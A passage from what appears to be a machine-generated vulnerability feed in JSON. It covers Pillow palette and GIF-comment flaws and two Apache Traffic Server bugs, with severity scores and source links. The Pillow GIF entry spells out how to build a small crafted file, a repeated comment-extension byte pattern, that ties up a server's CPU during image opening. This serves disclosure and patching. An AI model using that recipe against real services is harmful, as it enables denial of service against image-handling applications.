(`src/PIL/PngImagePlugin.py:499-505`) stores the chunk payload whatever its length, `_open` wraps it as `ImagePalette.raw(\"RGB\", b\"\")` (`:836-838`), and `Image.load()` realises it with `self.im.putpalette(\"RGB\", \"RGB\", b\"\")` (`src/PIL/Image.py:989-990`). `_putpalette` (`src/_imaging.c:1850-1868`) rejects only more than 256 entries and sets `palette->size = palettesize * 8 / bits`, i.e. 0. `TgaImagePlugin._open` (`src/PIL/TgaImagePlugin.py:121-135`) builds the same empty palette from a colour-mapped TGA whose colour-map-length field is 0.\n\nAPI → sink. `Image.quantize(palette=pal)` (`src/PIL/Image.py:1329-1338`) checks only `palette.mode == \"P\"` and calls `self.im.convert\n\nAffected package ranges reported by GitHub:\nPillow: >= 9.1.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:44:07.000Z","updatedAt":"2026-10-21T20:44:08.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-rfgq-q3w2-pmv2","asOf":"2026-10-21T20:44:08.000Z"},"epss":{"probability":0.00386,"percentile":0.32361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112898&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-rfgq-q3w2-pmv2","url":"https://github.com/advisories/GHSA-rfgq-q3w2-pmv2","type":"primary","publishedAt":"2026-10-21T20:44:07.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-rfgq-q3w2-pmv2, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112898&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112898, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112401","cveId":"CVE-2026-112401","aliases":["GHSA-74r2-7ff9-mjj2"],"kind":"vulnerability","title":"Pillow: Quadratic GIF comment concatenation allows DoS in Image.open()","summary":"```\n============================================================================\nQuadratic GIF comment concatenation allows DoS in Image.open()\nLocation: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nOpening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format.","detail":"```\n============================================================================\nQuadratic GIF comment concatenation allows DoS in Image.open()\nLocation: src/PIL/GifImagePlugin.py:266 in GifImageFile._seek()\nCommit: a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nOpening a crafted GIF file with `Image.open()` takes time that grows with the square of the file's size, so anyone who can submit an image to a service that uses Pillow can keep one worker busy at full processor load for a long time with a small file. A 2 MB file takes about 5 seconds to open, a 4 MB file about 35 seconds, and an 8 MB file about 3 minutes. An ordinary GIF of the same size opens in well under a second. The cost is paid inside `Image.open()` itself, with default settings, before the application has seen the image's size or format.\n\nThe bug is in `GifImageFile._seek()` in `src/PIL/GifImagePlugin.py`, which builds `info[\"comment\"]` by appending to an immutable `bytes` object with no size limit. It appends once per 255-byte sub-block (`comment += block`, line 261) and once per comment extension (`info[\"comment\"] += b\"\\n\" + comment`, line 266). Each append copies everything collected so far. A file made of many tiny comment extensions forces a full re-copy for each one. Because `_open()` ends with `self._seek(0)`, any code that only opens an uploaded file to identify it, read its dimensions, or make a thumbnail pays the full cost. The decompression-bomb check does not help, since the image is 1×1. Memory use stays linear, so the effect is processor exhaustion and latency, bounded by whatever upload size the service allows (about 1 second at 1 MB). This is the same kind of issue as the EPS open-phase slowdown fixed as CVE-2021-28677, here in the GIF comment handling. The quadratic pattern was introduced in commit b2b737b68b06 (\"Allow arbitrary number of comment extension subblocks\", November 2018) and has shipped since Pillow 5.4.0. The attached script builds 2 MB and 4 MB test files and compares each against a byte-identical control whose extensions are labelled as plain text instead of comment. The 4 MB comment file took about 34 seconds to open, against 0.26 seconds for its control. A patch that collects the pieces in a list and joins them once is also attached.\n\n## Details\n\n`GifImageFile._seek()` collects GIF comment extensions into `info[\"comment\"]` using `bytes` concatenation, once per 255-byte sub-block and once per comment extension, with no limit on the total. `bytes` is immutable, so every `+=` allocates a new object and copies everything accumulated so far; the work done by `Image.open()` is therefore quadratic in the amount of comment data in frame 0.\n\nA 1×1 GIF89a whose body is nothing but the 5-byte comment extension `21 FE 01 41 00` repeated makes this directly observable. `Image.open(BytesIO(data))` on such a file, stock build at this commit, 2-CPU machine:\n\n| file size | comment extensions (`21 FE …`) | same bytes labelled plain-text extension (`21 01 …`) |\n|---|---|---|\n| 1 MB | 1.2 s | 0.09 s |\n| 2 MB | 4.9 s | 0.13 s |\n| 4 MB | 35 s | 0.26 s |\n| 8 MB | 183 s | — |\n\nThe control column is the identical byte stream with the extension label changed from `0xFE` to `0x01`; it goes through the same loop and the same `self.data()` reads but is discarded instead of concatenated, and scales linearly. No `load()` is needed and no warning or exception is raised; `im.info[\"comment\"]` simply ends up holding the multi-megabyte blob.\n\nThe code, `src/PIL/GifImagePlugin.py:229-281` (trimmed):\n\n```python\n elif s == b\"!\":\n s = self.fp.read(1)\n block = self.data()\n …\n elif s[0] == 254:\n #\n # comment extension\n #\n comment = b\"\"\n\n # Read this comment block\n while block:\n comment += block # :261 one copy per sub-block\n block = self.data()\n\n if \"comment\" in info:\n # If multiple comment blocks in frame, separate with \\n\n info[\"comment\"] += b\"\\n\" + comment # :266 one copy per extension\n else:\n info[\"comment\"] = comment\n s = b\"\"\n continue\n …\n while self.data(): # every other extension: read and drop\n pass\n```\n\n`self.data()` (`:97-102`) reads one length byte and then that many bytes, so each call is cheap and bounded; the cost is entirely in the two `+=` lines. For a single comment extension of N bytes delivered as N/255 sub-blocks, line 261 copies about N²/510 bytes in total (4 MB → 2.3 s, 8 MB → 9.5 s, 16 MB → 38 s measured). Splitting the same data into many small comment extensions is worse, because line 266 re-copies the whole of `info[\"comment\"]` once per extension: with 1-byte extensions a file of F bytes causes roughly F²/25 bytes of copying, which is the table above (growth ×4–7 per doubling once the buffer outgrows the CPU caches).\n\nThis runs during `Image.open()`: `_open()` ends with `self._seek(0)` (`:135`), so any application that merely opens an uploaded file to identify it, read its size, or thumbnail it pays the full cost before it has made any decision about the image. `Image._decompression_bomb_check` is not involved (the image is 1×1), and unlike PNG text chunks (`PngImagePlugin.MAX_TEXT_CHUNK` / `MAX_TEXT_MEMORY`) there is no cap on GIF comment size. Later frames repeat the same loop for their own comments via `seek()` / `n_frames`.\n\nWith both `+=` sites replaced by list-append and a single `b\"\".join()` (as in the attached patch), the same 16 MB single-extension file opens in 0.03 s, confirming the concatenation is the whole cost.\n\n## Impact\n\nAnyone who can get a GIF to a service that calls `PIL.Image.open()` on it — avatar/media uploads, thumbnailers, format sniffing, anything using `ImageOps`/`thumbnail()` on user files — can pin one worker process at 100 % CPU for about 5 s with a 2 MB file, 35 s with a 4 MB file and 3 minutes with an 8 MB file, under default settings, with the time growing quadratically in the permitted upload size. A benign GIF of the same size opens in well under a second, so request-cost assumptions based on fi\n\nAffected package ranges reported by GitHub:\nPillow: >= 5.4.0, < 13.0.0","action":"GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:42:11.000Z","updatedAt":"2026-10-21T20:42:12.000Z","regions":["Global"],"vendor":null,"product":"Pillow","stacks":["Python packages (PyPI)","Pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-74r2-7ff9-mjj2","asOf":"2026-10-21T20:42:12.000Z"},"epss":{"probability":0.00479,"percentile":0.41057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112401&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-74r2-7ff9-mjj2","url":"https://github.com/advisories/GHSA-74r2-7ff9-mjj2","type":"primary","publishedAt":"2026-10-21T20:42:11.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-74r2-7ff9-mjj2, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112401&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112401, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112891","cveId":"CVE-2026-112891","aliases":["GHSA-fc9g-5qg7-mf45"],"kind":"vulnerability","title":"Pillow: Quadratic GIF comment copying during save","summary":"On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.","detail":"On Pillow 12.3.0 and upstream `main` (`ad277e2761b489681e71b51e91367d46b0ceabb9`), a GIF with a long comment makes `_get_global_header()` copy portions of the comment repeatedly when saving, including comments carried over from untrusted images. I suggest provisional **Moderate** severity for crafted-image CPU denial of service, with CVSS-B 6.9 assuming a network service automatically opens unauthenticated uploads and they are resaved as GIFs; impact depends on input-size, concurrency, and worker CPU limits.\n\nAffected package ranges reported by GitHub:\npillow: >= 9.2.0, < 13.0.0","action":"GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.","publishedAt":"2026-10-21T20:38:43.000Z","updatedAt":"2026-10-21T20:38:43.000Z","regions":["Global"],"vendor":null,"product":"pillow","stacks":["Python packages (PyPI)","pillow","pip"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","sourceUrl":"https://github.com/advisories/GHSA-fc9g-5qg7-mf45","asOf":"2026-10-21T20:38:43.000Z"},"epss":{"probability":0.00479,"percentile":0.41057,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112891&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"GitHub-reviewed advisory GHSA-fc9g-5qg7-mf45","url":"https://github.com/advisories/GHSA-fc9g-5qg7-mf45","type":"primary","publishedAt":"2026-10-21T20:38:43.000Z","checkedAt":"2026-10-26T18:40:55.462Z","supports":"The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQxNDowNjoxNFrOAAfxZw%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T18:40:55.462Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMlQwODoyNzoyM1rOAAYp9A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:55:55.457Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozNTo1OFrOAAfwCQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:45:55.378Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMTozMDoxM1rOAAfv2A%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:10:57.701Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyODowOVrOAAfv1g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:55:56.601Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMToyNDoyMFrOAAfv1Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:50:56.006Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yMVQyMDo0NTowN1rOAAfvzQ%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:40:55.975Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODozMDoyN1rOAAY_5Q%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:15:55.780Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"GitHub public advisory API page","url":"https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc&after=Y3Vyc29yOnYyOpK0MjAyNi0xMC0yM1QxODoyOTowNVrOAAfz8g%3D%3D","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:50:56.019Z","supports":"The API page supplied GHSA-fc9g-5qg7-mf45, its actual identifiers, source dates, and structured metrics."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112891&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112891, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112381","cveId":"CVE-2026-112381","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a...","summary":"Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a reentrant write-ready callback, a timing-dependent race introduced by the CVE-2021-32564 flow-control backports.\n\n\n\nThis issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server can crash with a null pointer dereference when a client POST request is torn down via half-close while a chunked origin response is being reparsed from a reentrant write-ready callback, a timing-dependent race introduced by the CVE-2021-32564 flow-control backports.\n\n\n\nThis issue affects Apache Traffic Server: 9.2.15, 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:23.733Z","updatedAt":"2026-10-23T22:16:56.160Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112381","asOf":"2026-10-23T22:16:56.160Z"},"epss":{"probability":0.0035,"percentile":0.28361,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112381&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112381","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112381","type":"primary","publishedAt":"2026-10-21T20:17:23.733Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112381&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112381, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111815","cveId":"CVE-2026-111815","aliases":[],"kind":"vulnerability","title":"Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy.","summary":"Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.","detail":"Apache Traffic Server can resume a TLS session across SNI virtual hosts without re-verifying a client certificate required by the resumed host's verify_client STRICT policy.\n\n\n\nThis issue affects Apache Traffic Server: from 8.0.0 through 8.1.11, from 9.0.0 through 9.2.15, from 10.0.0 through 10.1.4, 10.2.0.\n\n\n\nUsers are recommended to upgrade to version 9.2.16, 10.1.5, or 10.2.1, which fix the issue.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-21T20:17:23.330Z","updatedAt":"2026-10-23T12:18:09.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111815","asOf":"2026-10-23T12:18:09.333Z"},"epss":{"probability":0.00235,"percentile":0.14336,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111815&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111815","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111815","type":"primary","publishedAt":"2026-10-21T20:17:23.330Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111815&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111815, scored 2026-10-25. This is a model estimate, not proof of 